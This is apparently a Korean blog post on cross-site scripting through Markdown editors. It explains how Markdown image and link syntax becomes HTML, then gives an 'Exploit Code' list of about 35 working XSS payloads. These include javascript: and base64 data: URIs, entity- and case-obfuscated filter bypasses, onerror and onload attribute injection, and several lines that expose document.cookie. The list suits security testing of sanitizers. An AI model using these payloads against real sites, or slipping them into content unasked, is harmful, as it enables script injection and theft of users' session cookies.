Back
Featured image of post Markdown XSS

Markdown XSS

최근 Markdown편집기에서 XSS 공격이 가능한 것을 알게되어 정리합니다.

Markdown이란?

Markdown은 콘텐츠를 작성하고 형식을 지정하기 위한 간단한 언어입니다. GitHub의 Gists 및 readme 파일 등에서 사용됩니다.

Markdown 이미지 등록 예시

Markdown 파일에서 아래와 같은 Markdown 코드를 작성하면 위에 이미지가 나오는 것을 확인 할 수있습니다.

![춘식](markdown.jpeg)

여기서 알 수 있는 것은 Markdown 문법으로 작성하면 이를 HTML로 변환 해준다는 것을 알 수있습니다. 위에 Markdown코드의 경우 아래의 html로 바뀔 것 입니다.

<img src="./markdown.jpeg" alt="춘식">

이를 활용하면 XSS Exploit이 가능합니다. 아래의 EX01의 markdown을 작성하면 EX01의 HTML로 변환되면서 공격이 가능할 것을 확인할 수 있습니다.

  • EX01 - Markdown
![XSS]("onerror="alert('XSS'))
  • EX01 - HTML
<img src="" onerror="alert('XSS')" alt="xss">

Exploit Code

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[a](.alert(1);)
[a](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[a](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)

참고

https://medium.com/taptuit/exploiting-xss-via-markdown-72a61e774bf8

comments powered by Disqus